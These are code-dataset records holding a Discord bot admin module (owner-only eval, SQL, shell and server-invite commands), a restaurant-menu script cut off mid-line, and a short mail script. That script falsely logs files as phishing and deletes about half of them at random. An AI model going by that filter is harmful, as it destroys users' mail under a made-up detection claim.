"modules.utils.database.DBInterface", "line_number": 139, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.debug", "line_number": 140, "usage_type": "call"}, {"api_name": "modules.utils.log_console.Logger", "line_number": 140, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.LogLevel", "line_number": 140, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 141, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 141, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 144, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 144, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.debug", "line_number": 149, "usage_type": "call"}, {"api_name": "modules.utils.log_console.Logger", "line_number": 149, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.LogLevel", "line_number": 149, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface.Job.set_fields", "line_number": 150, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.Job", "line_number": 150, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 150, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 150, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 150, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 151, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 153, "usage_type": "call"}]} +{"seq_id": "269508773", "text": "import sys\nimport datetime\nimport random\nimport os\n\nPROB = 0.5\n\nif __name__ == '__main__':\n\n path = '/home/ubuntu/mail/new/'\n log_file = open(\"filter.txt\", 'a')\n\n try:\n with open('/home/ubuntu/mailpath.txt') as f:\n mv_path = f.readline().strip()\n if mv_path[-1] != '/':\n mv_path = mv_path + '/'\n except:\n mv_path = '/home/ubuntu/mail/new/'\n\n for file in os.listdir(path):\n if (os.path.isfile(path + file)):\n try:\n log_file.write(str(datetime.datetime.now()) + '\\n')\n if (random.random() < PROB):\n log_file.write(\"phishing email detected in \" + str(path) + '\\n')\n os.remove(path + file);\n log_file.write(\"phishing email deleted\\n\")\n else:\n os.rename(path + file, mv_path + file)\n log_file.write(\"move email\\n\")\n except:\n pass\n\n log_file.close()\n", "sub_path": "scripts/contractor/filterEmail.py", "file_name": "filterEmail.py", "file_ext": "py", "file_size_in_byte": 997, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.listdir", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 25, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 27, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "379666346", "text": "import asyncio\nimport collections\nimport contextlib\nimport datetime\nimport io\nimport math\nimport os\nimport sys\nimport textwrap\nimport traceback\nimport typing\nfrom contextlib import redirect_stdout\n\n\nimport discord\nimport mystbin\nimport tabulate\nimport utils.json_loader\nfrom discord.ext import commands, flags\nfrom jishaku.models import copy_context_with\nfrom jishaku.modules import package_version\nfrom utils.chat_formatting import box, hyperlink\nfrom utils.useful import *\ntry:\n import psutil\nexcept ImportError:\n psutil = None\nimport humanize\n\nCommandTask = collections.namedtuple(\"CommandTask\", \"index ctx task\")\n\n\nclass admin(commands.Cog):\n \"\"\"admin-only commands that make the bot dynamic.\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self._last_result = None\n self.sessions = set()\n self.task_count: int = 0\n self.tasks = collections.deque()\n\n @staticmethod\n def cleanup_code(content):\n \"\"\"Automatically removes code blocks from the code.\"\"\"\n\n if content.startswith('```') and content.endswith('```'):\n return '\\n'.join(content.split('\\n')[1:-1])\n\n\n return content.strip('` \\n')\n\n async def cog_check(self, ctx):\n return await self.bot.is_owner(ctx.author)\n\n @contextlib.contextmanager\n def submit(self, ctx: commands.Context):\n \"\"\"\n A context-manager that submits the current task to jishaku's task list\n and removes it afterwards.\n\n Parameters\n -----------\n ctx: commands.Context\n A Context object used to derive information about this command task.\n \"\"\"\n\n self.task_count += 1\n\n if sys.version_info < (3, 7, 0):\n cmdtask = CommandTask(self.task_count, ctx, asyncio.Task.current_task()) \n try:\n current_task = asyncio.current_task()\n except RuntimeError:\n current_task = None\n\n cmdtask = CommandTask(self.task_count, ctx, current_task)\n\n self.tasks.append(cmdtask)\n\n try:\n yield cmdtask\n finally:\n if cmdtask in self.tasks:\n self.tasks.remove(cmdtask)\n\n @staticmethod\n def clean_code(content):\n if content.startswith(\"```\") and content.endswith(\"```\"):\n return \"\\n\".join(content.split(\"\\n\")[1:][:-3])\n\n\n \n @commands.group(name=\"mod\", invoke_without_command=True, case_insensitive=True)\n @commands.is_owner()\n async def mod(self, ctx):\n cmd = self.bot.get_command(\"help\")\n await ctx.invoke(cmd, command=\"mod\")\n\n @mod.command(name=\"blacklist\", hidden=True, aliases=[\"bl\", \"poo\"])\n async def _blacklist(self, ctx, target: typing.Union[discord.User, discord.Guild], *, mode:str=\"add\"):\n \n if mode != 'remove' and mode != 'add':\n return await ctx.send(f\"{self.bot.redTick} Accepted values are `add/remove` for `mode`\")\n \n target_type = \"user\" if isinstance(target, discord.User) else \"guild\"\n\n blacklist = \"TRUE\" if mode == 'add' else \"FALSE\"\n query = 'UPDATE users_data SET blacklisted = ? WHERE user_id = ?' if target_type == \"user\" else 'UPDATE guild_config SET blacklisted = ? WHERE guild_id = ?'\n\n cur = await self.bot.db.execute(query, (blacklist, target.id))\n if mode == \"add\":\n msg = f\"**{target.name}** now got blacklisted! bad bad bad\"\n self.bot.blacklist.add(target.id)\n else:\n msg = f\"**{target.name}** now got unblacklisted! phew...\"\n try:\n self.bot.blacklist.remove(target.id)\n except KeyError:\n msg = f\"{target.name} is not blacklisted!\"\n \n await ctx.send(msg)\n \n\n @mod.command(name=\"givepremium\", hidden=True, aliases=[\"givep\"])\n async def _givepremium(self, ctx, target: typing.Union[discord.User, discord.Guild], *, mode:str=\"add\"):\n \n if mode != 'remove' and mode != 'add':\n return await ctx.send(f\"{self.bot.redTick} Accepted values are `add/remove` for `mode`\")\n \n target_type = \"user\" if isinstance(target, discord.User) else \"guild\"\n\n premium = \"TRUE\" if mode == 'add' else \"FALSE\"\n query = 'UPDATE users_data SET premium = ? WHERE user_id = ?' if target_type == \"user\" else 'UPDATE guild_config SET premium = ? WHERE guild_id = ?'\n\n cur = await self.bot.db.execute(query, (premium, target.id))\n if mode == \"add\":\n msg = f\"<:Boosters:814930829461553152> **{target.name}** now got premium perks!\"\n self.bot.premiums.add(target.id)\n else:\n msg = f\"<:Boosters:814930829461553152> **{target.name}** got their premium removed. oof...\"\n try:\n self.bot.premiums.remove(target.id)\n except KeyError:\n msg = f\"{target.name} is not premium!\"\n\n await ctx.send(msg)\n \n @mod.command(name=\"edit\")\n async def _edit_(self, ctx, action, user: typing.Union[discord.Member, discord.User], amount:int):\n self.bot.cached_users[user.id][action] += amount\n return await ctx.send(f\"{self.bot.greenTick} Successfully gave {user.mention} {amount:,} `{action}`.\")\n \n @mod.command(name=\"create\")\n async def _create_item_for_shop(self, ctx):\n q = [\n \"What should the item be called?\", \n \"What should it's price be?\", \n \"Write a brief description of the item.\", \n \"Write a long and detailed description of the item.\", \n \"Give it an ID.\"\n ]\n \n a = []\n for question in q:\n question += \"\\nType `stop` to stop this process. Timeout is 300 seconds.\"\n await ctx.send(question)\n try:\n response = await self.bot.wait_for('message', timeout=300, check=lambda m: m.author == ctx.author and m.channel == ctx.channel)\n except asyncio.TimeoutError:\n await ctx.reply(\"Okay, I'm leaving. Bye.\")\n else:\n if response.content.lower() == \"stop\":\n return await ctx.send(\"Terminated\")\n a.append(response.content)\n \n query = \"\"\"\n INSERT INTO item_info\n VALUES (?,?,?,?,?)\n \"\"\"\n await self.bot.db.execute(query, (a[4], a[1], a[0], a[3], a[2]))\n await self.bot.db.commit()\n cmd = self.bot.get_command(\"shop\")\n return await ctx.invoke(cmd, item=a[0])\n \n @mod.command(name=\"delete\")\n async def _delete_item_from_shop(self, ctx, *, item):\n item = item.lower()\n query = \"\"\"\n DELETE FROM item_info\n WHERE lower(item_name) = ?\n \"\"\"\n await self.bot.db.execute(query, (item,))\n await self.bot.db.commit()\n return await ctx.send(f\"{self.bot.greenTick} Deleted item `{item}` from shop.\")\n \n @commands.group(invoke_without_command=True, case_insensitive=True)\n async def dev(self, ctx):\n return\n\n @staticmethod\n async def run_shell(code: str) -> bytes:\n proc = await asyncio.create_subprocess_shell(\n code,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE\n )\n\n stdout, stderr = await proc.communicate()\n\n if stdout:\n stdout = f\"```$ {code}\\n{stdout.decode()}```\"\n if stderr:\n stderr = f\"```$ {code}\\n{stdout.decode()}```\"\n\n return stderr if stderr else stdout\n\n @dev.command(name='update')\n async def _update(self, ctx, link: str, *, message: str):\n await ctx.send(\"Are you sure you want update me? `(y/n)`\")\n\n msg = await self.bot.wait_for('message', timeout=10, check=lambda m: m.author == ctx.author)\n if msg.content.lower() == 'y':\n async with ctx.typing():\n data = utils.json_loader.read_json('updates')\n data['upDATE'] = str(datetime.datetime.utcnow())\n data['update'] = message\n data['link'] = link\n utils.json_loader.write_json(data, 'updates')\n\n @dev.command(name='eval')\n async def _eval(self, ctx, *, code: str):\n \"\"\"Evaluates a code\"\"\"\n\n env = {\n 'bot': self.bot,\n 'ctx': ctx,\n 'channel': ctx.channel,\n 'author': ctx.author,\n 'guild': ctx.guild,\n 'message': ctx.message,\n '_': self._last_result\n }\n\n env.update(globals())\n\n code = self.cleanup_code(code)\n stdout = io.StringIO()\n\n to_compile = f'async def func():\\n{textwrap.indent(code, \" \")}'\n\n try:\n exec(to_compile, env)\n except Exception as e:\n emb = Embed(title='', description=\"Evaluated your code\", color=0x2F3136)\n emb.add_field(name=\"Output:\", value=f'```py\\n{e.__class__.__name__}: {e}\\n```')\n return await ctx.send(embed=emb)\n\n func = env['func']\n try:\n with redirect_stdout(stdout):\n self.bot.ret = await func()\n except Exception:\n self.bot.value = stdout.getvalue()\n emb = Embed(title='', description=\"Evaluated your code\", color=0x2F3136)\n emb.add_field(name=\"Output:\", value=f'```py\\n{self.bot.value}{traceback.format_exc()}\\n```')\n return await ctx.send(embed=emb)\n\n else:\n self.bot.value = stdout.getvalue()\n try:\n await ctx.message.add_reaction('\\u2705')\n except:\n pass\n\n if self.bot.ret is None:\n if self.bot.value:\n emb = Embed(title='', description=\"Evaluated your code\", color=0x2F3136)\n emb.add_field(name=\"Output:\", value=f'```py\\n{self.bot.value}\\n```')\n return await ctx.send(embed=emb)\n\n else:\n self._last_result = self.bot.ret\n emb = Embed(title='', description=\"Evaluated your code\", color=0x2F3136)\n emb.add_field(name=\"Output:\", value=f'```py\\n{self.bot.value}{self.bot.ret}\\n```')\n return await ctx.send(embed=emb)\n\n @_eval.error\n async def _eval_error(self, ctx, error):\n if isinstance(error, commands.CommandInvokeError):\n error = getattr(error, 'original', error)\n if error.code == 50035:\n output = self.bot.value + self.bot.ret if self.bot.ret else self.bot.value\n mystbin_client = mystbin.Client()\n paste = await mystbin_client.post(f\"{output}\", syntax=\"python\")\n await mystbin_client.close()\n em = Embed(color=0x2F3136)\n em.add_field(name=\"Output:\", value=f\"{box(output[0:10] + '... # Truncated', 'py')}\")\n em.add_field(name=\"Your output was too long!\\n\",\n value=f\"I pasted your output {hyperlink('here', paste)}\",\n inline=False)\n em.set_author(name=\"Evaluated your code!\")\n await ctx.send(embed=em)\n\n\n @dev.command(name='guilds')\n async def _guilds(self, ctx, page:int=1):\n GUILDSa = self.bot.guilds\n alist = []\n for GUILDS in GUILDSa:\n alist.append(self.bot.get_guild(GUILDS.id))\n\n alist = [(guild.name, guild.id, guild.owner_id, len(guild.members)) for i, guild in enumerate(alist)]\n alist = sorted(alist, key=lambda guild: guild[3], reverse=True)\n\n page = page\n\n items_per_page = 5\n pages = math.ceil(len(alist) / items_per_page)\n\n start = (page - 1) * items_per_page\n end = start + items_per_page\n\n queue = ''\n embed = (Embed(description='**Servers [{}]**\\n\\n{}'.format(len(GUILDSa), queue),\n color=0x2F3136)\n .set_footer(text='Viewing page {}/{}'.format(page, pages),\n icon_url=self.bot.user.avatar_url)\n .set_author(name=f\"{ctx.author}\", icon_url=f\"{ctx.author.avatar_url}\")\n )\n\n for i, guild in enumerate(alist[start:end], start=start):\n owner = await self.bot.fetch_user(int(guild[2]))\n owner = owner.mention\n embed.add_field(name=f'{guild[0]}\\n',\n value=f'Members: {guild[3]:,}\\nGuild ID: `{guild[1]}`\\nOwner: {owner}\\n\\n', inline=False)\n msg = await ctx.send(embed=embed)\n\n @dev.command(name='inviteme')\n async def _inviteme(self, ctx, *, guildid: int):\n guild = self.bot.get_guild(guildid)\n await ctx.author.send(f\"{await guild.text_channels[0].create_invite()}\")\n\n @dev.command(name='sync')\n async def _sync(self, ctx, extension: str = None):\n fail = ''\n\n if extension is None:\n async with ctx.typing():\n for file in os.listdir(f\"{self.bot.cwd}/cogs\"):\n if file.endswith(\".py\"):\n try:\n self.bot.reload_extension(f\"cogs.{file[:-3]}\")\n except discord.ext.commands.ExtensionNotLoaded as e:\n fail += f'```diff\\n- {e.name} is not loaded```'\n except discord.ext.commands.ExtensionFailed as e:\n exc_info = type(e), e.original, e.__traceback__\n etype, value, trace = exc_info\n traceback_content = \"\".join(traceback.format_exception(etype, value, trace, 10)).replace(\n \"``\", \"`\\u200b`\")\n fail += (f'```diff\\n- {e.name} failed to reload.```' + f'```py\\n{traceback_content}```')\n\n if fail == '':\n em = Embed(color=0x3CA374)\n em.add_field(name=f\"{self.bot.greenTick} Cogs Reloading\",\n value=\"```diff\\n+ All cogs were reloaded successfully```\")\n\n await ctx.reply(embed=em, mention_author=False)\n else:\n em = Embed(color=0xFFCC33)\n em.add_field(name=\"<:idle:817035319165059102> \"\n \"**Failed to reload all cogs**\",\n value=fail\n )\n await ctx.reply(embed=em, mention_author=False)\n\n else:\n try:\n self.bot.reload_extension(f\"cogs.{extension}\")\n em = Embed(description=f\"{self.bot.greenTick} \"\n f\"**Reloaded cogs.{extension}**\",\n color=0x3CA374)\n\n await ctx.reply(embed=em, mention_author=False)\n\n except discord.ext.commands.ExtensionFailed as e:\n exc_info = type(e), e.original, e.__traceback__\n etype, value, trace = exc_info\n traceback_content = \"\".join(traceback.format_exception(etype, value, trace, 10)).replace(\"``\",\n \"`\\u200b`\")\n\n em = Embed(color=0xF04D4B)\n em.add_field(name=f\"{self.bot.redTick} \"\n f\"Failed to reload {e.name}\",\n value=f\"```py\\n{traceback_content}```\")\n await ctx.reply(embed=em, mention_author=False)\n\n\n @dev.command(name=\"sudo\")\n async def _sudo(self, ctx: commands.Context, *, command_string: str):\n \"\"\"\n Run a command bypassing all checks and cooldowns.\n\n This also bypasses permission checks so this has a high possibility of making commands raise exceptions.\n \"\"\"\n\n alt_ctx = await copy_context_with(ctx, content=ctx.prefix + command_string)\n\n if alt_ctx.command is None:\n return await ctx.send(f'Command \"{alt_ctx.invoked_with}\" is not found')\n\n return await alt_ctx.command.reinvoke(alt_ctx)\n\n @dev.command(name=\"reload\")\n async def _reloadmodule(self, ctx, *, module:str):\n cmd = self.bot.get_command(\"dev eval\")\n await ctx.invoke(cmd, code=\n \"import imp\\n\"\n f\"import {module}\\n\"\n f\"print(imp.reload({module}))\")\n\n @dev.command()\n async def tables(self, ctx):\n cmd = self.bot.get_command(\"dev sql\")\n await ctx.invoke(cmd, query=\"SELECT name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';\")\n \n @dev.command()\n async def sql(self, ctx, *, query: str):\n async with self.bot.db.execute(query) as cur:\n await self.bot.db.commit()\n if cur.description:\n \tcolumns = [tuple[0] for tuple in cur.description]\n else:\n columns = \"keys\"\n thing = await cur.fetchall()\n if len(thing) == 0:\n return await ctx.message.add_reaction(f'{self.bot.greenTick}')\n thing = tabulate.tabulate(thing, headers=columns, tablefmt='psql')\n byte = io.BytesIO(str(thing).encode('utf-8'))\n return await ctx.send(file=discord.File(fp=byte, filename='table.txt'))\n \n @sql.error\n async def sql_error(self, ctx, error):\n if isinstance(error, commands.CommandInvokeError):\n await ctx.message.add_reaction(f'{self.bot.redTick}')\n await ctx.send(str.capitalize(str(error.original)))\n\n @commands.command(name='delete',aliases=['del','d'])\n async def delete_bot_message(self,ctx):\n try:\n message = ctx.channel.get_partial_message(ctx.message.reference.message_id)\n except AttributeError:\n await ctx.message.add_reaction('❌') \n return \n try:\n await message.delete()\n await ctx.message.add_reaction('✅')\n except discord.Forbidden:\n await ctx.message.add_reaction('❌')\n \n @commands.command(name=\"close\")\n async def _close(self, ctx):\n await self.bot.logout()\n for user in self.bot.cached_users:\n query = \"UPDATE currency_data SET wallet = ?, bank = ?, max_bank = ?, boost = ?, exp = ?, lvl = ? WHERE user_id = ?\"\n await self.bot.db.execute(query, (self.bot.cached_users[user]['wallet'], self.bot.cached_users[user]['bank'], self.bot.cached_users[user]['max_bank'], round(self.bot.cached_users[user]['boost'], 2), self.bot.cached_users[user]['exp'], self.bot.cached_users[user]['lvl'], user))\n\n await self.bot.db.commit()\n \n \ndef setup(bot):\n bot.add_cog(admin(bot))\n", "sub_path": "main/cogs/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 18583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.namedtuple", "line_number": 30, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 33, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 33, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 41, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 57, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 57, "usage_type": "name"}, {"api_name": "sys.version_info", "line_number": 70, "usage_type": "attribute"}, {"api_name": "asyncio.Task.current_task", "line_number": 71, "usage_type": "call"}, {"api_name": "asyncio.Task", "line_number": 71, "usage_type": "attribute"}, {"api_name": "asyncio.current_task", "line_number": 73, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 56, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.group", "line_number": 94, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 94, "usage_type": "name"}, {"api_name": "discord.ext.commands.is_owner", "line_number": 95, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 101, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 101, "usage_type": "attribute"}, {"api_name": "discord.Guild", "line_number": 101, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 106, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 126, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 126, "usage_type": "attribute"}, {"api_name": "discord.Guild", "line_number": 126, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 131, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 150, "usage_type": "attribute"}, {"api_name": "discord.Member", "line_number": 150, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 150, "usage_type": "attribute"}, {"api_name": "asyncio.TimeoutError", "line_number": 170, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.group", "line_number": 197, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 197, "usage_type": "name"}, {"api_name": "asyncio.create_subprocess_shell", "line_number": 203, "usage_type": "call"}, {"api_name": "asyncio.subprocess", "line_number": 205, "usage_type": "attribute"}, {"api_name": "asyncio.subprocess", "line_number": 206, "usage_type": "attribute"}, {"api_name": "utils.json_loader.json_loader.read_json", "line_number": 225, "usage_type": "call"}, {"api_name": "utils.json_loader.json_loader", "line_number": 225, "usage_type": "attribute"}, {"api_name": "utils.json_loader", "line_number": 225, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 226, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 226, "usage_type": "attribute"}, {"api_name": "utils.json_loader.json_loader.write_json", "line_number": 229, "usage_type": "call"}, {"api_name": "utils.json_loader.json_loader", "line_number": 229, "usage_type": "attribute"}, {"api_name": "utils.json_loader", "line_number": 229, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 248, "usage_type": "call"}, {"api_name": "textwrap.indent", "line_number": 250, "usage_type": "call"}, {"api_name": "contextlib.redirect_stdout", "line_number": 261, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 266, "usage_type": "call"}, {"api_name": "discord.ext.commands.CommandInvokeError", "line_number": 290, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 290, "usage_type": "name"}, {"api_name": "mystbin.Client", "line_number": 294, "usage_type": "call"}, {"api_name": "utils.chat_formatting.box", "line_number": 298, "usage_type": "call"}, {"api_name": "utils.chat_formatting.hyperlink", "line_number": 300, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 319, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 350, "usage_type": "call"}, {"api_name": "discord.ext", "line_number": 354, "usage_type": "attribute"}, {"api_name": "discord.ext", "line_number": 356, "usage_type": "attribute"}, {"api_name": "traceback.format_exception", "line_number": 359, "usage_type": "call"}, {"api_name": "discord.ext", "line_number": 386, "usage_type": "attribute"}, {"api_name": "traceback.format_exception", "line_number": 389, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 400, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 400, "usage_type": "name"}, {"api_name": "jishaku.models.copy_context_with", "line_number": 407, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 438, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 439, "usage_type": "call"}, {"api_name": "discord.File", "line_number": 440, "usage_type": "call"}, {"api_name": "discord.ext.commands.CommandInvokeError", "line_number": 444, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 444, "usage_type": "name"}, {"api_name": "discord.Forbidden", "line_number": 458, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.command", "line_number": 448, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 448, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 461, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 461, "usage_type": "name"}]} +{"seq_id": "277443809", "text": "from time import sleep\nfrom datetime import datetime\nfrom datetime import date\n\ndias = ['Segunda-feira', 'Terça-feira', 'Quarta-feira', 'Quinta-Feira', 'Sexta-feira', 'Sábado', 'Domingo']\n\n\nespetinho = [('ESPETO DE CARNE - R$:8,00', 8.00), ('ESPETO DE CARNE (com creme de alho) - R$:9,50', 9.50),\n ('ESPETO DE PICAHNHA - R$:15,00', 15.00), ('ESPETO DE CUPIM - R$:13,00', 13.00),\n ('ESPETO DE CALABRESA DEFUMADA - R$7,00', 7.00), ('ESPETO DE FRANGO - R$:8,00', 8.00),\n ('ESPETO DE COXINHA DE FRANGO - R$:9,50', 9.50), ('ESPETO DE CORAÇÃO - R$:8,00', 8.00),\n ('ESPETO DE KAFTA - R$:10,00', 10.00), ('ESPETO DE TOSCANA R$:9,00', 9.00),\n ('MEDALHÃO DE CARNE - R$:13,50', 13.50), ('MEDALHÃO DE FRANGO - R$:11,50', 11.50)]\n\nacompanhamento = [('PÃO DE ALHO - R$:6,00', 6.00), ('BATATA FRITA (P) - R$:8,00', 8.00),\n ('BATATA FRITA (M) - R$:14,00', 14.00), ('BATATA FRITA (G) - R$:24,00', 24.00),\n ('QUEIJO ASSADO c/MELAÇO OU s/MELAÇO - R$:8,00', 8.00)]\n\nbebidas = [('COCA-COLA 350ml (lata) - R$:5,00', 5.00), ('COCA-COLA (1 litro) - R$:9,00', 9.00),\n ('GUARANÁ 269ml (lata) - R$:3,00', 3.00), ('GUARANÁ 350ml (lata) - R$:3,50', 3.50),\n ('GUARANÁ (1 litro) - R$:9,00', 9.00),('ÁGUA 300ml (sem gás) - R$:3,00', 3.00),\n ('ÁGUA 300ml (com gás) - R$:4,00', 4.00), ('DEVASSA PURO MALTE 350ml (lata) - R$:5,00', 5.00),\n ('HEINEKEN (long neck) - R$:9,00', 9.00)]\n\ncombos = [('COMBO 1 - R$:28,00', 28.00), ('COMBO 2 - R$:22,00', 22.00), ('COMBO 3 - R$:35,00', 33.00),\n ('COMBO 4 - R$:22,00', 22.00), ('COMBO 5 - R$:22,00', 22.00), ('COMBO 6 - R$:35,00', 35.00),\n ('COMBO 7 - R$:35,00', 35.00)]\n\npromoção_do_dia = ['COMBO 1 - R$:28,00\\n(Batata Frita (P) + 1 Espeto de Picanha + Pão de Alho + 1 Guaraná 269ml (lata)',\n'COMBO 2 - R$:17,00\\n(1 Espeto de Picanha + Batata Frita (P) + 1 Guaraná 269ml (lata))',\n'COMBO 3 - R$:28,00\\n(File Acebolado + Batata Frita (M) + 1 Guaraná 269ml (lata))',\n'COMBO 4 - R$:17,00\\n(1 Espeto de Carne + 1 Espeto de Frango + 1 Espeto de Calabresa Defumada + 1 Guaraná 269ml (lata)',\n'COMBO 5 - R$:17,00\\n(1 Pão de Alho + 1 Espeto de Carne + 1 Espeto de Frango + 1 Guaraná 269ml (lata))',\n'COMBO 6 - R$:30,00\\n(Carne do Sol Acebolada + Batata Frita (M) + 1 Guaraná 269ml (lata))',\n'COMBO 7 - R$:30,00\\n(1 Pão de Alho + 1 Espeto de Carne + 1 Espeto de Frango + 1 Espeto de Calabresa Defumada + 1 Guaraná 269ml (lata))']\n\n\nlista_itens_factura = []\nlista_precos_factura = []\ncont_esp = 0\ndata = date.today()\nindice_da_semana = data.weekday()\ndia_da_semana = dias[indice_da_semana]\n\n\n\n\ndef car_esp():\n print(\"\"\"---------------------------------------------------\n ESPETINHOS\n---------------------------------------------------\"\"\")\n print(\"\"\"[1]- ESPETO DE CARNE - R$:8,00\n[2]- ESPETO DE CARNE (com creme de alho) - R$:9,50\n[3]- ESPETO DE PICAHNHA - R$:15,00\n[4]- ESPETO DE CUPIM - R$:13,00\n[5]- ESPETO DE CALABRESA DEFUMADA - R$:7,00\n[6]- ESPETO DE FRANGO - R$:8,00\n[7]- ESPETO DE COXINHA DE FRANGO - R$:9,50\n[8]- ESPETO DE CORAÇÃO - R$:8,00\n[9]- ESPETO DE KAFTA - R$:10,00\n[10]- ESPETO DE TOSCANA - R$:9,00\n[11]- MEDALHÃO DE CARNE - R$:13,50\n[12]- MEDALHÃO DE FRANGO - R$:11,50\n---------------------------------------------------\"\"\")\n\n\ndef car_acom():\n print(\"\"\"------------------------------------------------\n ACOMPANHAMENTOS\n------------------------------------------------\"\"\")\n print(\"\"\"[1]- PÃO DE ALHO - R$:6,00\n[2]- BATATA FRITA (P) - R$:8,00\n[3]- BATATA FRITA (M) - R$:14,00\n[4]- BATATA FRITA (G) - R$:24,00\n[5]- QUEIJO ASSADO c/MELAÇO OU s/MELAÇO R$:8,00\n------------------------------------------------\"\"\")\n\n\ndef car_bebida():\n print(\"\"\"-----------------------------------------------\n BEBIDAS\n-----------------------------------------------\"\"\")\n print(\"\"\"[1]- COCA-COLA 350ml (lata) - R$:5,00\n[2]- COCA-COLA (1 litro) - R$:9,00\n[3]- GUARANÁ 269ml (lata) - R$:3,00\n[4]- GUARANÁ 350ml (lata) - R$:3,50\n[5]- GUARANÁ (1 litro) - R$:9,00\n[6]- ÁGUA 300ml (sem gás) - R$:3,00\n[7]- ÁGUA 300ml (com gás) - R$:4,00\n[8]- DEVASSA PURO MALTE 350ml (lata) - R$:5,00\n[9]- HEINEKEN (long neck) - R$:9,00\n-----------------------------------------------\"\"\")\n\n\ndef car_combo():\n print(\"\"\"--------------------------------------\n COMBOS \n--------------------------------------\"\"\")\n print(f\"\"\"O COMBO {promoção_do_dia [indice_da_semana].split()[1]} ESTÁ EM PROMOÇÃO!!\nEstá custando {promoção_do_dia [indice_da_semana].split()[3]}\"\"\")\n print('--------------------------------------')\n print(\"\"\"[1]- COMBO 1 - R$:28,00\n(Batata Frita (P) + 1 Espeto de Picanha + Pão de Alho + 1 Guaraná 269ml (lata))\n[2]- COMBO 2 - R$:22,00\n(1 Espeto de Picanha + Batata Frita (P) + 1 Guaraná 269ml (lata))\n[3]- COMBO 3 - R$:33,00\n(File Acebolado + Batata Frita (M) + 1 Guaraná 269ml (lata))\n[4]- COMBO 4 - R$:22,00\n(1 Espeto de Carne + 1 Espeto de Frango + 1 Espeto de Calabresa Defumada + 1 Guaraná 269ml (lata))\n[5]- COMBO 5 - R$:22,00\n(1 Pão de Alho + 1 Espeto de Carne + 1 Espeto de Frango + 1 Guaraná 269ml (lata))\n[6]- COMBO 6 - R$:35,00\n(Carne do Sol Acebolada + Batata Frita (M) + 1 Guaraná 269ml (lata))\n[7]- COMBO 7 - R$:35,00\n(1 Pão de Alho + 1 Espeto de Carne + 1 Espeto de Frango + 1 Espeto de Calabresa Defumada + 1 Guaraná 269ml (lata))\n-------------------------------------------------------------------------------------------------------------------\"\"\")\n\n\ndef conta():\n global lista_itens_factura\n global lista_precos_factura\n\n print(\"\"\"|--------------------------------------|\n| SUA CONTA |\n|--------------------------------------|\"\"\")\n preco_final = 0\n\n for i in range(0, len(lista_itens_factura)):\n print(f'{lista_itens_factura[i]}')\n preco_final += lista_precos_factura[i]\n print('|--------------------------------------|')\n print()\n print('|--------------------------------------|')\n print(f'|Total a 